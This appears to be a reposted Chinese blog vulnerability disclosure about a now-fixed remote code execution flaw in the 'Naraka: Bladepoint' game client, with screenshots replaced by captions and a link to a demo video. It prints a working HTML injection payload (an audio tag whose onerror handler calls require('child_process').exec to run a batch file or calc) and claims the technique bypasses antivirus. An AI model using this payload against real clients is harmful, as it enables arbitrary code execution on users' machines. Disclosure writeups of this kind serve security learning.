《永结无间》客户端RCE漏洞

渗透技巧 8个月前 admin
218 0 0

0x00前言

相信大家之前都看过我博客这篇添加了密码。距离发现这个漏洞已经一年多了,
这个漏洞现在已经修复了遂把他公开出来给大家学习一下。其实蛮简单的~~~
(PS:本文单纯讲漏洞。不涉及实战利用)

0x01 正文

该漏洞产生文件在这个路径
《永结无间》客户端RCE漏洞
《永结无间》客户端RCE漏洞

该json文件中有调用到html代码的应该都可以触发该漏洞。这里我用上图这个地方来演示。

1
<audio src=x onerror=require('child_process').exec('1.bat');><audio src=x onerror=require('child_process').exec('calc');>

先建个低权限用户(实际上一个bat就足够咯。我为了展示效果就先手动加一下了)
《永结无间》客户端RCE漏洞

建一个bat文件
《永结无间》客户端RCE漏洞

《永结无间》客户端RCE漏洞

点击这个地方就能触发了(真实情况下不会只能点击这里。Json里还有更新之类的地方可以自动触发的!我是就拿了这个来演示)
《永结无间》客户端RCE漏洞

《永结无间》客户端RCE漏洞

而且利用该漏洞还能完美的绕过了火绒等杀软的拦截(其实就跟白进程+黑dll意思差不多)。我把视频放在了百度网盘里
链接: https://pan.baidu.com/s/131L8BlRS_nzDUVniethORg?pwd=fukg 提取码: fukg 复制这段内容后打开百度网盘手机App,操作更方便哦
–来自百度网盘超级会员v4的分享

0x02 附上截图

(PS:tmd,拍视频时候手快把原用户给删了,当时我人直接麻咯)
《永结无间》客户端RCE漏洞

 

原文始发于YanXia:《永结无间》客户端RCE漏洞

版权声明:admin 发表于 2023年11月11日 下午1:52。
转载请注明:《永结无间》客户端RCE漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...